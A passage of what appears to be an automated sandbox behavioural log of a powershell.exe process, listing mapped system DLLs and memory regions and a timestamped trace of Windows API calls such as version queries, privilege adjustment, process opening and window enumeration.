start_va = 0x7ef50000 end_va = 0x7ef9ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef50000" filename = "" Region: id = 1004 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1005 start_va = 0x51c0000 end_va = 0x51cffff entry_point = 0x0 region_type = private name = "private_0x00000000051c0000" filename = "" Region: id = 1006 start_va = 0x75080000 end_va = 0x75094fff entry_point = 0x750812de region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 1007 start_va = 0x750a0000 end_va = 0x750f1fff entry_point = 0x750a14be region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 1008 start_va = 0x75070000 end_va = 0x7507cfff entry_point = 0x75071326 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 1009 start_va = 0x74fd0000 end_va = 0x7500bfff entry_point = 0x74fd145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1010 start_va = 0x5c80000 end_va = 0x5d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000005c80000" filename = "" Region: id = 1011 start_va = 0x74fc0000 end_va = 0x74fc4fff entry_point = 0x74fc15df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 1012 start_va = 0x74fa0000 end_va = 0x74fa5fff entry_point = 0x74fa1673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 1013 start_va = 0x51d0000 end_va = 0x51effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000051d0000" filename = "" Region: id = 1014 start_va = 0x5ca0000 end_va = 0x5cdffff entry_point = 0x0 region_type = private name = "private_0x0000000005ca0000" filename = "" Region: id = 1015 start_va = 0x5d50000 end_va = 0x5d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000005d50000" filename = "" Region: id = 1016 start_va = 0x5d90000 end_va = 0x5dcffff entry_point = 0x0 region_type = private name = "private_0x0000000005d90000" filename = "" Region: id = 1017 start_va = 0x6b160000 end_va = 0x6b1aefff entry_point = 0x6b160000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 1018 start_va = 0x6b1b0000 end_va = 0x6b207fff entry_point = 0x6b1b0000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 1019 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1020 start_va = 0x75100000 end_va = 0x7511bfff entry_point = 0x7510a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1021 start_va = 0x75300000 end_va = 0x75306fff entry_point = 0x7530128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1022 start_va = 0x74e70000 end_va = 0x74e7cfff entry_point = 0x74e72012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 1023 start_va = 0x5dd0000 end_va = 0x5e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000005dd0000" filename = "" Region: id = 1024 start_va = 0x5e30000 end_va = 0x5e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000005e30000" filename = "" Region: id = 1025 start_va = 0x74e80000 end_va = 0x74e91fff entry_point = 0x74e83271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1026 start_va = 0x7ef3d000 end_va = 0x7ef3ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef3d000" filename = "" Region: id = 1027 start_va = 0x73e30000 end_va = 0x73e37fff entry_point = 0x73e30000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll") Region: id = 1028 start_va = 0x51f0000 end_va = 0x522ffff entry_point = 0x0 region_type = private name = "private_0x00000000051f0000" filename = "" Region: id = 1029 start_va = 0x5fb0000 end_va = 0x5feffff entry_point = 0x0 region_type = private name = "private_0x0000000005fb0000" filename = "" Region: id = 1030 start_va = 0x75120000 end_va = 0x75163fff entry_point = 0x751363f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1031 start_va = 0x7ef3a000 end_va = 0x7ef3cfff entry_point = 0x0 region_type = private name = "private_0x000000007ef3a000" filename = "" Region: id = 1032 start_va = 0x5ff0000 end_va = 0x620ffff entry_point = 0x0 region_type = private name = "private_0x0000000005ff0000" filename = "" Region: id = 1033 start_va = 0x75040000 end_va = 0x75045fff entry_point = 0x750414b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1034 start_va = 0x74f10000 end_va = 0x74f47fff entry_point = 0x74f1990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1035 start_va = 0x5ff0000 end_va = 0x61cffff entry_point = 0x0 region_type = private name = "private_0x0000000005ff0000" filename = "" Region: id = 1036 start_va = 0x61d0000 end_va = 0x620ffff entry_point = 0x0 region_type = private name = "private_0x00000000061d0000" filename = "" Region: id = 1201 start_va = 0x5230000 end_va = 0x5233fff entry_point = 0x5230000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1202 start_va = 0x5ce0000 end_va = 0x5d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000005ce0000" filename = "" Region: id = 1203 start_va = 0x5ed0000 end_va = 0x5f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 1204 start_va = 0x7ef37000 end_va = 0x7ef39fff entry_point = 0x0 region_type = private name = "private_0x000000007ef37000" filename = "" Region: id = 1205 start_va = 0x5240000 end_va = 0x526ffff entry_point = 0x5240000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db") Region: id = 1206 start_va = 0x52b0000 end_va = 0x52b3fff entry_point = 0x52b0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1207 start_va = 0x5f10000 end_va = 0x5f75fff entry_point = 0x5f10000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1208 start_va = 0x5ff0000 end_va = 0x60effff entry_point = 0x0 region_type = private name = "private_0x0000000005ff0000" filename = "" Region: id = 1209 start_va = 0x6190000 end_va = 0x61cffff entry_point = 0x0 region_type = private name = "private_0x0000000006190000" filename = "" Region: id = 1210 start_va = 0x747f0000 end_va = 0x7481dfff entry_point = 0x747f1bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 1211 start_va = 0x75460000 end_va = 0x75595fff entry_point = 0x75461b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1212 start_va = 0x762f0000 end_va = 0x763e4fff entry_point = 0x762f1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1213 start_va = 0x76f30000 end_va = 0x7712afff entry_point = 0x76f322d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1214 start_va = 0x52c0000 end_va = 0x52c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052c0000" filename = "" Region: id = 1265 start_va = 0x6b140000 end_va = 0x6b148fff entry_point = 0x6b1415a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Thread: id = 41 os_tid = 0xa44 [0047.437] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0047.678] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0047.679] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0047.679] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0047.679] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0048.617] GetVersionExW (in: lpVersionInformation=0x2d1dd0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2d1dd0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0048.617] GetLastError () returned 0x2 [0048.618] GetVersionExW (in: lpVersionInformation=0x2d1dd0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2d1dd0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0048.618] GetLastError () returned 0x2 [0048.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e40c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0048.622] GetLastError () returned 0x2 [0048.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0048.643] GetLastError () returned 0x2 [0048.643] GetVersionExW (in: lpVersionInformation=0x2d1dd0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2d1dd0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0048.644] GetLastError () returned 0x2 [0048.644] SetErrorMode (uMode=0x1) returned 0x1 [0048.645] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x27e8a8 | out: lpFileInformation=0x27e8a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0048.645] GetLastError () returned 0x2 [0048.645] SetErrorMode (uMode=0x1) returned 0x1 [0048.669] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x27e92c | out: lpdwHandle=0x27e92c) returned 0x94c [0048.695] GetLastError () returned 0x0 [0048.696] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x29c5298 | out: lpData=0x29c5298) returned 1 [0048.701] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27e8f8, puLen=0x27e8f4 | out: lplpBuffer=0x27e8f8*=0x29c5334, puLen=0x27e8f4) returned 1 [0048.702] lstrlenW (lpString="䅁") returned 1 [0048.752] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x29c5410, puLen=0x27e870) returned 1 [0048.752] lstrlenW (lpString="Microsoft Corporation") returned 21 [0048.753] lstrcpyW (in: lpString1=0x2d1db8, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0048.753] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x29c5464, puLen=0x27e870) returned 1 [0048.753] lstrlenW (lpString="System.Management.Automation") returned 28 [0048.753] lstrcpyW (in: lpString1=0x2d1db8, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0048.753] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x29c54c0, puLen=0x27e870) returned 1 [0048.753] lstrlenW (lpString="6.1.7601.17514") returned 14 [0048.753] lstrcpyW (in: lpString1=0x2d1db8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0048.753] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x29c5500, puLen=0x27e870) returned 1 [0048.753] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0048.753] lstrcpyW (in: lpString1=0x2d1db8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0048.753] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x29c5568, puLen=0x27e870) returned 1 [0048.753] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0048.753] lstrcpyW (in: lpString1=0x2d1db8, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0048.753] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x29c5604, puLen=0x27e870) returned 1 [0048.753] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0048.753] lstrcpyW (in: lpString1=0x2d1db8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0048.753] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x29c5668, puLen=0x27e870) returned 1 [0048.753] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0048.753] lstrcpyW (in: lpString1=0x2d1db8, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0048.753] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x29c56e4, puLen=0x27e870) returned 1 [0048.754] lstrlenW (lpString="6.1.7601.17514") returned 14 [0048.754] lstrcpyW (in: lpString1=0x2d1db8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0048.754] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x29c538c, puLen=0x27e870) returned 1 [0048.754] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0048.754] lstrcpyW (in: lpString1=0x2d1db8, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0048.754] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x0, puLen=0x27e870) returned 0 [0048.754] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x0, puLen=0x27e870) returned 0 [0048.754] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x27e874, puLen=0x27e870 | out: lplpBuffer=0x27e874*=0x0, puLen=0x27e870) returned 0 [0048.754] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27e868, puLen=0x27e864 | out: lplpBuffer=0x27e868*=0x29c5334, puLen=0x27e864) returned 1 [0048.755] VerLanguageNameW (in: wLang=0x0, szLang=0x2d1db8, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0048.756] VerQueryValueW (in: pBlock=0x29c5298, lpSubBlock="\\", lplpBuffer=0x27e87c, puLen=0x27e878 | out: lplpBuffer=0x27e87c*=0x29c52c0, puLen=0x27e878) returned 1 [0048.822] GetCurrentProcessId () returned 0xa40 [0048.883] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x27e0b4 | out: lpLuid=0x27e0b4*(LowPart=0x14, HighPart=0)) returned 1 [0048.884] GetLastError () returned 0x0 [0048.886] GetCurrentProcess () returned 0xffffffff [0048.886] GetLastError () returned 0x0 [0048.888] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x27e0b0 | out: TokenHandle=0x27e0b0*=0x2f8) returned 1 [0048.888] GetLastError () returned 0x0 [0048.890] AdjustTokenPrivileges (in: TokenHandle=0x2f8, DisableAllPrivileges=0, NewState=0x29c7dd8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0048.890] GetLastError () returned 0x514 [0048.891] CloseHandle (hObject=0x2f8) returned 1 [0048.891] GetLastError () returned 0x514 [0048.895] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa40) returned 0x2f8 [0048.895] GetLastError () returned 0x514 [0048.902] EnumProcessModules (in: hProcess=0x2f8, lphModule=0x29c7e1c, cb=0x100, lpcbNeeded=0x27e8a4 | out: lphModule=0x29c7e1c, lpcbNeeded=0x27e8a4) returned 1 [0048.903] GetLastError () returned 0x514 [0048.905] GetModuleInformation (in: hProcess=0x2f8, hModule=0x21950000, lpmodinfo=0x29c7f5c, cb=0xc | out: lpmodinfo=0x29c7f5c*(lpBaseOfDll=0x21950000, SizeOfImage=0x72000, EntryPoint=0x21957363)) returned 1 [0048.905] GetLastError () returned 0x514 [0048.906] GetModuleBaseNameW (in: hProcess=0x2f8, hModule=0x21950000, lpBaseName=0x2d2578, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0048.906] GetLastError () returned 0x514 [0048.907] GetModuleFileNameExW (in: hProcess=0x2f8, hModule=0x21950000, lpFilename=0x2d2578, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0048.907] GetLastError () returned 0x514 [0048.908] CloseHandle (hObject=0x2f8) returned 1 [0048.908] GetLastError () returned 0x514 [0048.918] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xa40) returned 0x2f8 [0048.918] GetLastError () returned 0x514 [0048.920] GetExitCodeProcess (in: hProcess=0x2f8, lpExitCode=0x29c740c | out: lpExitCode=0x29c740c*=0x103) returned 1 [0048.920] GetLastError () returned 0x514 [0048.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x39c5278, Length=0x20000, ResultLength=0x27e8ec | out: SystemInformation=0x39c5278, ResultLength=0x27e8ec*=0x9738) returned 0x0 [0048.947] EnumWindows (lpEnumFunc=0x1e13612, lParam=0x0) returned 1 [0048.948] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.948] GetLastError () returned 0x514 [0048.948] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x65c [0048.948] GetLastError () returned 0x514 [0048.948] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x65c [0048.948] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x580 [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x310 [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x200ce, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x200ea, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x200f2, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.949] GetLastError () returned 0x514 [0048.949] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x468 [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x5009c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x7009e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0xa2c [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x501b0, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x8d8 [0048.950] GetLastError () returned 0x514 [0048.950] GetWindowThreadProcessId (in: hWnd=0x30224, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x9c4 [0048.950] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x401f2, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x9c4 [0048.951] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x30226, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x9c4 [0048.951] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x301b8, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x8d8 [0048.951] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x8d8 [0048.951] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x8d8 [0048.951] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x8d8 [0048.951] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x820 [0048.951] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x810 [0048.951] GetLastError () returned 0x514 